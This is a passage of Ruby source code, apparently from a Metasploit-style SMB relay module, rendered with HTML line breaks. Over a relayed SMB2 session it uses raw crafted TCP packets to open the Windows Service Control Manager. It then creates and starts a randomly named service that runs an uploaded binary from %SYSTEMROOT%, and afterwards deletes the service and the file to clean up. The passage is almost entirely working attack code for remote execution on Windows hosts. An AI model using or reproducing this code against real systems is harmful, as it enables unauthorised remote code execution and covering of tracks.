"#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"<br /> response = get_response(packet)<br /> response_smb2 = RubySMB::SMB2::Packet::WriteResponse.read(response.payload[4..-1])<br /> request = RubySMB::SMB2::Packet::ReadRequest.new<br /> set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)<br /> request.file_id = file_id<br /> request.read_length = 1024<br /> request.offset = 0<br /> packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))<br /> packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"<br /> response = get_response(packet)<br /> response_smb2 = RubySMB::SMB2::Packet::ReadResponse.read(response.payload[4..-1])<br /> open_scmw_request = RubySMB::Dcerpc::Svcctl::OpenSCManagerWRequest.new(dw_desired_access: 0x10 | 0x20 | 0x02 | 0x01 | 0x04 | 0x08 | 0x04)<br /> open_scmw_request.lp_machine_name = ip2str(int2ip(response.ip_header.ip_src))<br /> open_scmw_request.lp_database_name = 'ServicesActive'<br /> dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: open_scmw_request.opnum }, { endpoint: 'Svcctl' })<br /> dcerpc_request.stub.read(open_scmw_request.to_binary_s)<br /> request = RubySMB::SMB2::Packet::IoctlRequest.new<br /> set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)<br /> request.file_id = file_id<br /> request.ctl_code = 0x0011C017<br /> request.flags.is_fsctl = 0x00000001<br /> request.buffer = dcerpc_request.to_binary_s<br /> packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))<br /> packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"<br /> response = get_response(packet)<br /> response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])<br /> dcerpc_response = RubySMB::Dcerpc::Response.read(response_smb2.output_data)<br /> open_scmw_response = RubySMB::Dcerpc::Svcctl::OpenSCManagerWResponse.read(dcerpc_response.stub.to_s)<br /> servicename = rand_text_alpha(8)<br /> displayname = rand_text_alpha(rand(1..32))<br /><br /> print_status('Creating a new service...')<br /> # RubySMB does not support CreateService.<br /> stubdata =<br /> open_scmw_response.lp_sc_handle.to_binary_s +<br /> Rex::Encoder::NDR.wstring(servicename) +<br /> Rex::Encoder::NDR.uwstring(displayname) +<br /> Rex::Encoder::NDR.long(0x0F01FF) + # Access: MAX<br /> Rex::Encoder::NDR.long(0x00000110) + # Type: Interactive, Own process<br /> Rex::Encoder::NDR.long(0x00000003) + # Start: Demand<br /> Rex::Encoder::NDR.long(0x00000000) + # Errors: Ignore<br /> Rex::Encoder::NDR.wstring("%SYSTEMROOT%\\#{filename}") + # Binary Path<br /> Rex::Encoder::NDR.long(0) + # LoadOrderGroup<br /> Rex::Encoder::NDR.long(0) + # Dependencies<br /> Rex::Encoder::NDR.long(0) + # Service Start<br /> Rex::Encoder::NDR.long(0) * 4 # Password<br /> dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: 12 }, { endpoint: 'Svcctl' })<br /> dcerpc_request.stub = stubdata<br /> request = RubySMB::SMB2::Packet::IoctlRequest.new<br /> set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)<br /> request.file_id = file_id<br /> request.ctl_code = 0x0011C017<br /> request.flags.is_fsctl = 0x00000001<br /> request.buffer = dcerpc_request.to_binary_s<br /> packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))<br /> packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"<br /> response = get_response(packet)<br /> response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])<br /> if response_smb2.smb2_header.nt_status == 0x103<br /> response = get_response(packet)<br /> response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])<br /> end<br /><br /> print_status('Closing service handle...')<br /> dcerpc_response = RubySMB::Dcerpc::Response.read(response_smb2.output_data)<br /> csh_request = RubySMB::Dcerpc::Svcctl::CloseServiceHandleRequest.new(h_sc_object: dcerpc_response.stub[4, 24])<br /> dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: csh_request.opnum }, { endpoint: 'Svcctl' })<br /> dcerpc_request.stub.read(csh_request.to_binary_s)<br /> request = RubySMB::SMB2::Packet::IoctlRequest.new<br /> set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)<br /> request.file_id = file_id<br /> request.ctl_code = 0x0011C017<br /> request.flags.is_fsctl = 0x00000001<br /> request.buffer = dcerpc_request.to_binary_s<br /> packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))<br /> packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"<br /> response = get_response(packet)<br /> response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])<br /> open_sw_request = RubySMB::Dcerpc::Svcctl::OpenServiceWRequest.new(dw_desired_access: 0x00F01FF)<br /> open_sw_request.lp_sc_handle = open_scmw_response.lp_sc_handle<br /> open_sw_request.lp_service_name = servicename<br /> dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: open_sw_request.opnum }, { endpoint: 'Svcctl' })<br /> dcerpc_request.stub.read(open_sw_request.to_binary_s)<br /> request = RubySMB::SMB2::Packet::IoctlRequest.new<br /> set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)<br /> request.file_id = file_id<br /> request.ctl_code = 0x0011C017<br /> request.flags.is_fsctl = 0x00000001<br /> request.buffer = dcerpc_request.to_binary_s<br /> packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))<br /> packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"<br /> response = get_response(packet)<br /> response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])<br /> dcerpc_response = RubySMB::Dcerpc::Response.read(response_smb2.output_data)<br /> open_sw_response = RubySMB::Dcerpc::Svcctl::OpenServiceWResponse.read(dcerpc_response.stub.to_s)<br /><br /> print_status('Starting the service...')<br /> ss_request = RubySMB::Dcerpc::Svcctl::StartServiceWRequest.new(h_service: open_sw_response.lp_sc_handle)<br /> dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: ss_request.opnum }, { endpoint: 'Svcctl' })<br /> dcerpc_request.stub.read(ss_request.to_binary_s)<br /> request = RubySMB::SMB2::Packet::IoctlRequest.new<br /> set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)<br /> request.file_id = file_id<br /> request.ctl_code = 0x0011C017<br /> request.flags.is_fsctl = 0x00000001<br /> request.buffer = dcerpc_request.to_binary_s<br /> packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))<br /> packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"<br /> response = get_response(packet)<br /> response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])<br /> if response_smb2.smb2_header.nt_status == 0x103<br /> response = get_response(packet)<br /> response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])<br /> end<br /><br /> print_status('Removing the service...')<br /> # RubySMB does not support DeleteService<br /> dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: 2 }, { endpoint: 'Svcctl' })<br /> dcerpc_request.stub = open_sw_response.lp_sc_handle.to_binary_s<br /> request = RubySMB::SMB2::Packet::IoctlRequest.new<br /> set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)<br /> request.file_id = file_id<br /> request.ctl_code = 0x0011C017<br /> request.flags.is_fsctl = 0x00000001<br /> request.buffer = dcerpc_request.to_binary_s<br /> packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))<br /> packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"<br /> response = get_response(packet)<br /> response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])<br /><br /> print_status('Closing service handle...')<br /> csh_request = RubySMB::Dcerpc::Svcctl::CloseServiceHandleRequest.new(h_sc_object: open_sw_response.lp_sc_handle)<br /> dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: csh_request.opnum }, { endpoint: 'Svcctl' })<br /> dcerpc_request.stub.read(csh_request.to_binary_s)<br /> request = RubySMB::SMB2::Packet::IoctlRequest.new<br /> set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)<br /> request.file_id = file_id<br /> request.ctl_code = 0x0011C017<br /> request.flags.is_fsctl = 0x00000001<br /> request.buffer = dcerpc_request.to_binary_s<br /> packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))<br /> packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"<br /> response = get_response(packet)<br /> response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])<br /> request = RubySMB::SMB2::Packet::TreeDisconnectRequest.new<br /> set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)<br /> packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))<br /> packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"<br /> response = get_response(packet)<br /> response_smb2 = RubySMB::SMB2::Packet::TreeDisconnectResponse.read(response.payload[4..-1])<br /><br /> print_status("Deleting \\#{filename}...")<br /> request = RubySMB::SMB2::Packet::TreeConnectRequest.new<br /> request.smb2_header.process_id = process_id<br /> request.smb2_header.credit_charge = 1<br /> request.smb2_header.credits = 256<br /> request.smb2_header.message_id = response_smb2.smb2_header.message_id + 1<br /> request.smb2_header.session_id = response_smb2.smb2_header.session_id<br /> request.path = "\\\\#{ip2str(int2ip(response.ip_header.ip_src))}\\#{@share}"<br /> packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))<br /> packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"<br /> response = get_response(packet)<br /> response_smb2 = RubySMB::SMB2::Packet::TreeConnectResponse.read(response.payload[4..-1])<br /> tree_id = response_smb2.smb2_header.tree_id<br /> request = RubySMB::SMB2::Packet::CreateRequest.new<br /> set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)<br /> request.file_attributes.directory = 0<br /> request.file_attributes.normal = 1<br /> request.create_options.directory_file = 0<br /> request.create_options.non_directory_file = 1<br /> request.share_access.delete_access = 1<br /> request.desired_access.delete_access = 1<br /> request.requested_oplock = 255<br /> request.impersonation_level = RubySMB::ImpersonationLevels::SEC_IMPERSONATE<br /> request.create_disposition = RubySMB::Dispositions::FILE_OPEN<br /> request.name = filename.to_s<br /> packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))<br /> packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"<br /> response = get_response(packet)<br /> response_smb2 = RubySMB::SMB2::Packet::CreateResponse.read(response.payload[4..-1])<br /> request = RubySMB::SMB2::Packet::SetInfoRequest.new<br /> set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)<br /> request.file_info_class = RubySMB::Fscc::FileInformation::FILE_DISPOSITION_INFORMATION<br /> request.buffer.delete_pending = 1<br /> request.file_id = response_smb2.file_id<br /> packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))<br /> packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"<br /> response = get_response(packet)<br /> return true # Done.<br /> end<br /><br /> # This sends a packet and captures the response.<br /> def get_response(packet)<br /> packet.recalc<br /> rc = PacketFu::Capture.new(iface: @interface, promisc: true)<br /> rc.capture<br /> rc.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and src port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] = 0xfe534d42 and tcp[4:4] = #{packet.tcp_header.tcp_ack}")<br /> packet.to_w(@interface)<br /> rc.stream.each_data do |data|<br /> packet = PacketFu::Packet.parse(data)<br /> if packet.instance_of?(PacketFu::TCPPacket)<br /> break packet<br /> end<br /> end<br /> end<br /><br /> # This generates the TCP header for a new packet based on the previous one.<br /> def make_tcp_header(response)<br /> PacketFu::TCPHeader.new(<br /> tcp_src: response.tcp_header.tcp_dst,<br /> tcp_dst: response.tcp_header.tcp_src,<br /> tcp_seq: response.tcp_header.tcp_ack,<br /> tcp_ack: response.tcp_header.tcp_seq + response.payload.size,<br /> tcp_win: response.tcp_header.tcp_win,<br /> tcp_flags: { ack: 1, psh: 1 }<br /> )<br /> end<br /><br /> # This sets the smb2 header flags on the request with the provided values.<br /> def set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)<br /> request.smb2_header.tree_id = tree_id<br /> request.smb2_header.process_id = process_id<br /> request.smb2_header.credit_charge = 1<br /> request.smb2_header.credits = 256<br /> request.smb2_header.message_id = response_smb2.smb2_header.message_id + 1<br /> request.smb2_header.session_id = response_smb2.smb2_header.session_id<br /> nil<br /> end<br /><br /> # This converts a string to a binary mac.<br /> def str2mac(str)<br /> # [str.split(':').join].pack('H*')<br /> Rex::Socket.eth_aton(str)<br /> end<br /><br /> # This converts a binary mac to a string.<br /> def mac2str(mac)<br /> # mac.to_s.bytes.map { |s| s.to_s(16).rjust(2, '0') }.join(':')<br /> Rex::Socket.eth_ntoa(mac)<br /> end<br /><br /> # This converts a string to a binary ip.<br /> def str2ip(str)<br /> # str.split('.').map(&:to_i).pack('C*')<br /> Rex::Socket.addr_aton(str)<br /> end<br /><br /> # This converts a binary ip to a string.<br /> def ip2str(ip)<br /> # ip.bytes.map(&:to_s).join('.')<br /> Rex::Socket.addr_ntoa(ip)<br /> end<br /><br /> # This converts an integer to a binary ip.<br /> def int2ip(int)<br /> # [int].pack('N')<br /> Rex::Socket.addr_iton(int)<br /> end<br /><br /> # This cleans up and exits all the active threads.<br /> def cleanup<br /> @cleanup_mutex.synchronize do<br /> unless @cleanedup<br /> print_status 'Cleaning Up...'<br /> @syn_capture_thread.exit if @syn_capture_thread<br /> @ack_capture_thread.exit if @ack_capture_thread<br /> @main_threads.map(&:exit) if @main_threads<br /> reset_p445_fwrd<br /> @cleanedup = true<br /> print_status 'Cleaned Up.'<br /> end<br /> end<br /> end<br />end<br /></code></pre>